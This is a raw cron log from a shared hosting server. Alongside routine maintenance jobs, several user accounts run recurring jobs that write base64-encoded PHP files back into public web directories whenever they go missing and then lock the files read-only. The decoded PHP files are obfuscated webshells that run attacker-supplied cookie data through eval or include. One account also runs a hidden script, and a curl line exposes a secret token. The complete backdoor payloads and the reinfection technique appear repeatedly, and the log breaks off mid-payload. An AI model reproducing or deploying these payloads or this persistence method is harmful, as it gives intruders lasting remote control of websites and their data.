Mar  2 12:01:02 medusa CROND[13845]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:01:02 medusa CROND[13847]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:01:02 medusa CROND[13844]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:01:02 medusa CROND[13849]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:01:02 medusa CROND[13850]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:01:02 medusa CROND[13852]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 12:02:01 medusa CROND[31578]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:02:01 medusa CROND[31580]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:02:01 medusa CROND[31581]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 12:02:01 medusa CROND[31579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:02:01 medusa CROND[31582]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:02:01 medusa CROND[31583]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:02:01 medusa CROND[31586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:02:01 medusa CROND[31588]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:02:01 medusa CROND[31587]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:02:01 medusa CROND[31589]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:02:01 medusa CROND[31590]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:02:01 medusa CROND[31595]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:02:01 medusa CROND[31596]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:03:01 medusa CROND[16999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:03:01 medusa CROND[17127]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:03:01 medusa CROND[17128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:03:01 medusa CROND[17129]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:03:01 medusa CROND[17130]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:03:01 medusa CROND[17132]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:03:01 medusa CROND[17139]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:03:01 medusa CROND[17140]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 12:03:01 medusa CROND[17141]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:03:01 medusa CROND[17143]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:03:01 medusa CROND[17144]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqO